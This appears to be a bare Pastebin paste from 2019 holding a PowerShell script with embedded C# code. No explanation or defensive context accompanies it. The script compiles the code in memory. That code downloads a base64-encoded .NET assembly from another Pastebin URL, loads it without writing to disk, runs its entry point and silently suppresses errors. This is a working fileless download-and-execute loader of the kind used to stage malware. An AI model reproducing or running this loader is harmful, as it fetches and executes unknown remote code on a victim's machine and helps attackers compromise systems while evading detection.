Advertisement
MestreQueda

Untitled

Jun 26th, 2019
407
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.18 KB | None | 0 0
  1. $code = @"
  2. using System.Net;
  3. using System.Reflection;
  4. using System;
  5. using System.Threading;
  6. namespace Nyan
  7. {
  8. public class Cat
  9. {
  10. public void Run()
  11. {
  12. using (WebClient wc = new WebClient())
  13. {
  14. // new Thread(() =>
  15. // {
  16. try
  17. {
  18. Assembly asm = AppDomain.CurrentDomain.Load(Convert.FromBase64String(wc.DownloadString("https://pastebin.com/raw/AVqc54gv")));
  19. MethodInfo Metinf = asm.EntryPoint;
  20. object InjObj = asm.CreateInstance(Metinf.Name);
  21. object[] parameters = new object[1]; // C#
  22. if (Metinf.GetParameters().Length == 0)
  23. {
  24. parameters = null; // VB.NET
  25. }
  26. Metinf.Invoke(InjObj, parameters);
  27. }
  28. catch { return; }
  29. // })
  30. // { IsBackground = false }.Start();
  31. }
  32. }
  33. }
  34. }
  35. "@
  36.  
  37. Add-Type -TypeDefinition $code;
  38. $instance = New-Object Nyan.Cat;
  39. $instance.Run();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement